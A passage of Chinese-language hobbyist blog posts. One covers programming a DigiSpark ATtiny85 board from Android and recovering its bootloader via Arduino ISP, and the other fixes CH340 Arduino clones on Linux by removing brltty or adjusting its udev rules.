<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc6MNrPsfMb1XPKtnsVHm8_LNVe4AwcKTAkSyo-mYKxDRpKrul4qfSXvWksaZaafLnNhht6Gw_soyur7DyVZZIGwclW57AFkbSkMT8bqjbtTU5HXGsvLdA35Quhbexu1AsIsqffnx5BTYRXL8MNzYsf9-FEA6FntyJuCFSTFH2gGOUFk9I5YEfqycj/w0/digispark-attiny85-board-065.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc6MNrPsfMb1XPKtnsVHm8_LNVe4AwcKTAkSyo-mYKxDRpKrul4qfSXvWksaZaafLnNhht6Gw_soyur7DyVZZIGwclW57AFkbSkMT8bqjbtTU5HXGsvLdA35Quhbexu1AsIsqffnx5BTYRXL8MNzYsf9-FEA6FntyJuCFSTFH2gGOUFk9I5YEfqycj/w600/digispark-attiny85-board-065.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiimz6Nl9CehP_sgkp4qi6vo63U8i6Uan7YtVV3pUaQJz42iu8LW2i2Dlsv5T9AsflZlyTaQS8lRm9mcykNqPoEnRBgYL1ZDpXaZaU4LEsn2VdbTG2seiQ25F2XPrlIDRUH0xSZQvbs6WxCz25_TYg5uhSX4Mya787HGoIKCVtocS6jf2t0uWxtIOBF/w0/digispark-attiny85-board-066.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiimz6Nl9CehP_sgkp4qi6vo63U8i6Uan7YtVV3pUaQJz42iu8LW2i2Dlsv5T9AsflZlyTaQS8lRm9mcykNqPoEnRBgYL1ZDpXaZaU4LEsn2VdbTG2seiQ25F2XPrlIDRUH0xSZQvbs6WxCz25_TYg5uhSX4Mya787HGoIKCVtocS6jf2t0uWxtIOBF/w600/digispark-attiny85-board-066.png"/></a></div>
<div>按右上角的 <span class="mra-highlighter">更多選項</span> > <span class="mra-highlighter">Settings</span> > <span class="mra-highlighter">Board type</span> > <span class="mra-highlighter">Digistump</span> > <span class="mra-highlighter">Digispark (Default - 16.5mhz)</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiP7DbiPViN5xj5lMb34Jj-HQDnYIgknnLv9eOwcNphfX2_J-sghsEr_5idYqaakffcMoJiHhQZBorDkWfs1A8k643JYsTVluk2n9QKGNJxKrAwQ9n-aZiW10djutOShqToKzdWYTYmxxb9O5YBv4TelZKsaLl1rHN572lbUpACRg4f8NXcUFxkaVyD/w0/digispark-attiny85-board-067.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiP7DbiPViN5xj5lMb34Jj-HQDnYIgknnLv9eOwcNphfX2_J-sghsEr_5idYqaakffcMoJiHhQZBorDkWfs1A8k643JYsTVluk2n9QKGNJxKrAwQ9n-aZiW10djutOShqToKzdWYTYmxxb9O5YBv4TelZKsaLl1rHN572lbUpACRg4f8NXcUFxkaVyD/w600/digispark-attiny85-board-067.png"/></a></div>
<div>然後 儲存 及 編譯 Sketch</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKbyMo3-k6pxAQl-KYq4_-pAzOi3CCzBhF060zrAK7idCn-bsfYl4uPEmidG_8MrkTpIBx8Ej7W6dDjx0l6Ls8FLZ_yT7SnHxZbKvxRGagfcDiV-yxiXmXXF3HZT08gjmcF0q8LpBVwQ1ItyaYXTfGvxN3JOCWCfAcxPL2CNa1GeZh_IHVoYyUGFwa/w0/digispark-attiny85-board-068.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKbyMo3-k6pxAQl-KYq4_-pAzOi3CCzBhF060zrAK7idCn-bsfYl4uPEmidG_8MrkTpIBx8Ej7W6dDjx0l6Ls8FLZ_yT7SnHxZbKvxRGagfcDiV-yxiXmXXF3HZT08gjmcF0q8LpBVwQ1ItyaYXTfGvxN3JOCWCfAcxPL2CNa1GeZh_IHVoYyUGFwa/w600/digispark-attiny85-board-068.png"/></a></div>
<div>將 DigiSpark 透過 OTG USB 連接到 Android裝置<br/>
會顯示 <span class="mra-highlighter">USB device attached</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRjqsEymt5_RduPUyi3d9xFCRYWQWZeDCHfsdvfZs-urd3p4QdY-Up_lmYtkn2xNHy9yKyQ4_x4gWzc1Y79t9oFehezTNtFi4ioUqFl44T2ZgD868YtMiJOf60KDqEOgWWtGIJROT2yVf3ZezpnoXYtrBvMqdWLDndV9pacOI8kp4U8VaYAR3ByhkH/w0/digispark-attiny85-board-069.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRjqsEymt5_RduPUyi3d9xFCRYWQWZeDCHfsdvfZs-urd3p4QdY-Up_lmYtkn2xNHy9yKyQ4_x4gWzc1Y79t9oFehezTNtFi4ioUqFl44T2ZgD868YtMiJOf60KDqEOgWWtGIJROT2yVf3ZezpnoXYtrBvMqdWLDndV9pacOI8kp4U8VaYAR3ByhkH/w600/digispark-attiny85-board-069.png"/></a></div>
<div>按 上載 按鈕<br/>
顯示 <span class="mra-highlighter">要允許「ArduinoDroid」存取「null」嗎?</span> 後,按 確定</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKMGQKv68apiI7JUXEXD4jV-FXFZcmkpBJwmTgj4PLPZo-KiEUHnlG4XHpnJE2mFoiH3izQPa-CA-oDbU8uyuMD4ly6-Z9OPwUjN3yvN_UDH-u8BJf6TFho33rZr8F1XrADNoJHSXEMHkDNtAfvsss5ewaHH-rTjYJAFf0ZjW5lsYnB0wvYICSzJQi/w0/digispark-attiny85-board-070.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKMGQKv68apiI7JUXEXD4jV-FXFZcmkpBJwmTgj4PLPZo-KiEUHnlG4XHpnJE2mFoiH3izQPa-CA-oDbU8uyuMD4ly6-Z9OPwUjN3yvN_UDH-u8BJf6TFho33rZr8F1XrADNoJHSXEMHkDNtAfvsss5ewaHH-rTjYJAFf0ZjW5lsYnB0wvYICSzJQi/w600/digispark-attiny85-board-070.png"/></a></div>
<div>將 Sketch 上載到 DigiSpark<br/>
顯示 <span class="mra-highlighter">Sketch uploaded</span></div>
<br/>
<div>Android 連接 DigiSpark 後,大概只有 5秒 是編程模式<br/>
超過 5秒 便會自動回復 操作模式 ,無法上載 Sketch<br/>
因此必須在 5秒 內,按 上載 按鈕 及 按 確定 來上載 Sketch</div>
<br/>
<a name="意外操作"></a><h5 class="mra-h5">意外操作</h5>
<div>DigiSpark 使用 P3 及 P4 作為 USB引腳<br/>
在下將 LED正極 接駁到 P3 ,LED負極 接駁到 GND ,令上載 Sketch 時的 USB訊號出錯<br/>
意外地將 ATtiny85 SOP DigiSpark 資料清除,令 ATtiny85 SOP 遺失起動器,導致無法直接上載 Sketch<br/>
但 ATtiny85 SOP 是焊接在 DigiSpark 上,若果要除焊是非常困難<br/>
即使能夠除焊,在沒有 SOP連接器 的情況下,將資料寫入到 SOP晶片 都是非常困難<br/>
還要重新焊接 ATtiny85 SOP 到 DigiSpark 都是非常困難的操作</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHHzpsmDXkYOKbPRbuO3ae2AUClxV6NXKtba17AVkms0bIvX9STA_ezIu95hrHhmHC9qzg2l7mWYarmCyYYAM-BXimzkC7l4NaxNy_gnYs4mA8Y1sTHrKQSTx31KrqV0UpD3lpjlAKcnDkT3ONcyTzdkCa0286xrWYQBmuUl8otFqE2mUtYuYfKA5k/w0/attiny85-digispark-059.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHHzpsmDXkYOKbPRbuO3ae2AUClxV6NXKtba17AVkms0bIvX9STA_ezIu95hrHhmHC9qzg2l7mWYarmCyYYAM-BXimzkC7l4NaxNy_gnYs4mA8Y1sTHrKQSTx31KrqV0UpD3lpjlAKcnDkT3ONcyTzdkCa0286xrWYQBmuUl8otFqE2mUtYuYfKA5k/w600/attiny85-digispark-059.png"/></a></div>
<div>因此在下嘗試直接使用跳線,透過 DigiSpark 的引腳接駁到 Arduino ISP 重新燒錄起動器到 ATtiny85</div>
<table class="mra-table mra-collapse" width="60%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="40%"/>
<col width="30%"/>
<col width="30%"/>
</colgroup>
<thead>
<tr>
<th>ATtiny85 SOP DigiSpark</th>
<th>Arduino ISP</th>
<th>電子零件</th>
</tr>
</thead>
<tbody>
<tr>
<td>VIN</td>
<td>5V</td>
<td></td>
</tr>
<tr>
<td>GND</td>
<td>GND</td>
<td>10uF電解電容負極</td>
</tr>
<tr>
<td>P0</td>
<td>11</td>
<td></td>
</tr>
<tr>
<td>P1</td>
<td>12</td>
<td></td>
</tr>
<tr>
<td>P2</td>
<td>13</td>
<td></td>
</tr>
<tr>
<td>P5</td>
<td>10</td>
<td></td>
</tr>
<tr>
<td></td>
<td>RST</td>
<td>10uF電解電容正極</td>
</tr>
</tbody>
</table>
<div>結果能夠將起動器燒錄到 ATtiny85 SOP ,能再次將 Sketch 直接上載到 ATtiny85<br/>
這情況亦令在下留意經 DigiSpark 的 USB 上載 Sketch 到 ATtiny85 前<br/>
不要接駁任何電子零件到所有 GPIO引腳,避免發生意外</div>
<br/>
<div>DigiSpark 開發板雖然細小,但官方售價為 8美元,比功能更多的 Raspberry Pi Pico W 還要昂貴<br/>
不過,某些網上平台發售的 DigiSpark 兼容開發板,則大約 1美元 即可<br/>
而且細小的體積,使用標準 USB Type-A 的插頭,使用上確實是非常方便<br/>
即使不焊接引腳,亦可以直接將金屬線路纏在引腳孔上使用,即時製作臨時裝置</div>
<br/>
<div>由於 DigiSpark 開發板並沒有連接到 ATtiny85 的 RST引腳<br/>
因此,已經連接到電腦的 DigiSpark 開發板不能控制 ATtiny85 重置而無法上載<br/>
所以需要先手動將 DigiSpark 開發板卸除,執行上載 Sketch 的等候狀態時<br/>
才將 DigiSpark 開發板連接到電腦,才能將 Sketch 上載到 ATtiny85<br/>
否則會繼續出現 <span class="mra-highlighter">micronucleus_connect: Assertion `res >= 4' failed</span> 錯誤 或 <span class="mra-highlighter">上載逾時</span> 錯誤</div>
<br/>
<div>由於 DigiSpark(DIP) 的引腳座外露的引腳,導致安裝 ATtiny85 時非常刺手<br/>
擺放在物件上,亦有有機會損壞其表面,因此在下將外露的引腳剪去,再重新焊錫<br/>
焊錫因為液體表面張力現象,會形成圓球狀,便不會有尖刺的引腳外露,而且亦比較美觀</div>
<br/>
<a name="起動速度比較"></a><h5 class="mra-h5">起動速度比較</h5>
<div><a href="https://photos.google.com/share/AF1QipP-q_ZxwR1TcdRndnGDqm42isrCq5KH_cMwygrJKvMbad1SM4FwUgt-t2lDGBwK1w/photo/AF1QipNoHEwjtoIshn6FcJs_jLFJWTyOacf1dA9i46kR?key=YkE4dFhoeFBycE8zSlJ5ZDNGTzcyUTBidjBqaGtn"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaS40zAwF7VzfId1SdervZLw29Z-UPuyotPwcanGOLj1n1GG2XvFshZx_WX07S6TR96eGt1mYTCHK3s6OFRqLnuSiWyfGnZ720YeQla4cfhFkjZbQ0CUo81xX5SQMeg_pW_AEis2BCuJY/w600/digispark-attiny85-board-071.mp4"/></a></div>
<div>
<ol>
<li>DigiSpark 兼容開發板 大約 5.916秒</li>
<li>DigiSpark(DIP) 兼容開發板 大約 6.316秒</li>
<li>DigiSpark 原裝開發板 大約 6.683秒</li>
</ol>
</div>
<br/>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="http://digistump.com/">DigiSpark 官方網站</a></li>
<li><a href="https://www.microchip.com/product/ATtiny85">ATtiny85 官方網站</a></li>
</ul>
</div>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-7160849497220917822022-12-08T21:35:00.000+08:002022-12-08T21:35:55.581+08:00解決 Linux 連接使用 CH340晶片 的 Arduino 後不能建立 /dev/ttyUSB* 的問題<div>最近在下整理一些電子零件<br/>
發現一些微控制器開發板全部不能被 Arduino IDE 偵測,但電腦系統卻能辨識到<br/>
這些微控制器開發板過去都能夠使用,表面上亦沒有損壞,因此在下嘗試了解情況及解決問題</div>
<a name='more'></a>
<a id="mra-previewFrame" target="_blank">預覽</a>
<script type="text/javascript">
//<!--
window.addEventListener("load", function(eventLoad) {
var previewFrame = document.getElementById("mra-previewFrame");
previewFrame.href = window.location.href;
});
//-->
</script>
<div class="mra-index">
<ul>
<li><a href="#總結">總結</a></li>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<br/>
<div>在下將 Arduino UNO Rev3 兼容板 及 Arduino Nano 兼容板 經 USB 接駁到 電腦系統,都無法在 Arduino IDE 偵測<br/>
但在下到 Terminal 輸入:<br/>
<pre class="brush:bash">lsusb</pre>
卻能夠顯示
<pre class="brush:bash">Bus 001 Device 015: ID 1a86:7523 QinHeng Electronics CH340 serial converter</pre>
證明 Arduino UNO Rev3 兼容板 及 Arduino Nano 兼容板 能夠正常運作</div>
<br/>
<div>在下將 Arduino UNO Rev 3 原裝板 經 USB 接駁到 電腦系統,則能夠被 Arduino IDE 偵測<br/>
亦能上載 Sketch ,運作正常</div>
<br/>
<div>在下再嘗試檢查 <span class="mra-highlighter">/dev</span> 的 <span class="mra-highlighter">tty</span> 檔案,在 Terminal 輸入:<br/>
<pre class="brush:bash">ls -l /dev/tty*</pre>
發現 Arduino UNO Rev 3 原裝板 能顯示 /dev/ttyACM* ,但 Arduino兼容板 使用 CH340晶片 卻不能顯示 /dev/ttyUSB*<br/>
因此在網上尋找問題成因</div>
<br/>
<div>發現網上都有其他使用者有相同情況,最後發現因為 <span class="mra-highlighter">brltty</span> 佔用了 /dev/ttyUSB*<br/>
由於 Arduino兼容板 同樣是 /dev/ttyUSB* 的裝置,導致連接 Arduino兼容板 時無法建立 /dev/ttyUSB*<br/>
因此將 brltty 移除<br/>
<pre class="brush:bash">sudo apt purge --purge brltty</pre>
再重新開機後, Arduino IDE 終於能夠偵測到 Arduino兼容板</div>
<br/>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<div>brltty 其實是讓 Terminal 或 tty 模式能夠將文字內容<br/>
讓電腦系統連接 <span class="mra-highlighter">USB點字顯示器</span> 時,將一般文字轉換成點字文字的 <span class="mra-highlighter">常駐程式 (Daemon)</span><br/>
如果閣下不是視障人士,移除 brltty 並不會影響操作</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUDckz18HL4fSimiiIuayeqOqb5Gp_J2mlQws-crxm5suQB53W0IBDEd7JSgV_G2uLbLHCLJSWx7OzuP5sZUpzqAbTR96ndbseZ6AUtbTaSI9Zq8_RUFkFDWVRBtnuaIk8gDDGzbEh-bkkDIdc20x5IyNZB3F_awX0vrfEJxNZeVPqaWy3HZKqABp-/w0/ch340-ttyusb-01.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUDckz18HL4fSimiiIuayeqOqb5Gp_J2mlQws-crxm5suQB53W0IBDEd7JSgV_G2uLbLHCLJSWx7OzuP5sZUpzqAbTR96ndbseZ6AUtbTaSI9Zq8_RUFkFDWVRBtnuaIk8gDDGzbEh-bkkDIdc20x5IyNZB3F_awX0vrfEJxNZeVPqaWy3HZKqABp-/w600/ch340-ttyusb-01.png"/></a></div>
<div>但如果果閣下是視障人士,移除 brltty 會導會點字顯示器失效,影響操作體驗<br/>
可以修改 <span class="mra-highlighter">/usr/lib/udev/rules.d/85-brltty.rules</span> 來迴避與 CH340晶片 衝突的問題<br/>
由於 CH340晶片 的 ID 是 1a86:7523 ,開啟 85-brltty.rules 後,尋找 1a86:7523<br/>
再將 規則 移除或註解(不執行規則),再在 Terminal 輸入<br/>
<pre class="brush:bash">sudo udevadm control --reload-rules</pre>
便可以避免與 brltty 有衝突,但仍然有機會因為點字顯示器使用 CH340晶片 而無法使用</div>
<br/>
<div>但以上方法都只是二選一的結果,如果要兩者同時存在及使用,可以將 85-brltty.rules 的 選取描述再只仔細一點<br/>
例如增加 <span class="mra-highlighter">ATTRS{serial}</span> 限制指定的序列編號為 點字顯示器<br/>
可以讓其他使用相同 晶片 的裝置都能同時使用</div>
<br/>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://brltty.app/">brltty 官方網頁</a></li>
<li><a href="http://www.wch-ic.com/products/CH340.html">CH340晶片 官方網頁</a></li>
</ul>
</div>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0